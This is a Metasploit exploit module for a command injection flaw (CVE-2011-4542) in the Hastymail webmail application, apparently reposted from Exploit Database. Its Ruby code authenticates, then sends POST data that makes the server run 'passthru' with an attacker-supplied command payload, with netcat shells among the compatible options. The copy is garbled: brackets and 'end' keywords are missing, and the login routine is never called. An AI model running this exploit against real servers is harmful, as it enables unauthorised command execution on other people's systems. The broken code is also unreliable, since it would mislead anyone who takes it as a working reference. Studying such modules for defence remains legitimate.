Hastymail 2.1.1 RC1 – Command Injection (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2012-07-12
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/19758/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "Hastymail 2.1.1 RC1 Command Injection",

'Description'=> %q{

This module exploits a command injection vulnerability found in Hastymail

2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on

the "lib/ajax_functions.php" script. Authentication is required on Hastymail

in order to exploit the vulnerability. The module has been successfully tested

on Hastymail 2.1.1 RC1 over Ubuntu 10.04.

'License'=> MSF_LICENSE,

'Author' =>

[

'Bruno Teixeira', # Vulnerability Discovery

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2011-4542' ],

[ 'BID', '50791' ],

[ 'OSVDB', '77331' ],

[ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]

'Payload'=>

{

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl ruby netcat-e',

}

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Targets'=>

[

['Hastymail 2.1.1 RC1', {}]

'Privileged' => false,

'DisclosureDate' => "Nov 22 2011",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),

OptString.new('USER', [true, "The username to authenticate with", ""]),

OptString.new('PASS', [true, "The password to authenticate with", ""])

], self.class)

end

def check

@uri = target_uri.path

@uri << '/' if @uri[-1,1] != '/'

@session_id = ""

@peer = "#{rhost}:#{rport}"

if not @session_id or @session_id.empty?

print_error "#{@peer} - Authentication failed"

return Exploit::CheckCode::Unknown

end

test = rand_text_alpha(rand(4) + 4)

data = "rs=passthru&"

data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"

data << "rsargs[]=echo #{test}"

res = send_request_cgi({

'method' => 'POST',

'uri' => "#{@uri}",

'Cookie' => @session_id,

'data' => data

})

if res and res.code == 200 and res.body =~ /#{test}/

return Exploit::CheckCode::Vulnerable

else

return Exploit::CheckCode::Safe

end

def login

res = send_request_cgi({

'method' => 'POST',

'uri'=> "#{@uri}?page=login",

'vars_post' =>

{

'user' => datastore['USER'],

'pass' => datastore['PASS'],

'login' => 'Login'

}

})

if res and res.code == 303

@session_id = res["Set-Cookie"]

print_good "#{@peer} - Authentication successfully"

end

def exploit

@uri = target_uri.path

@uri << '/' if @uri[-1,1] != '/'

@session_id = ""

@peer = "#{rhost}:#{rport}"

print_status "#{@peer} - Trying login"

if not @session_id or @session_id.empty?

print_error "#{@peer} - Authentication failed"

return

end

print_status "#{@peer} - Authentication successfully, trying to exploit"

data = "rs=passthru&"

data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"

data << "rsargs[]=#{payload.encoded}"

res = send_request_cgi({

'method' => 'POST',

'uri' => "#{@uri}",

'Cookie' => @session_id,

'headers' => {

'Cmd' => Rex::Text.encode_base64(payload.encoded)

'data' => data

})

if not res or res.code != 200 or not res.body =~ /\+/

print_error "#{@peer} - Exploitation failed"

return

end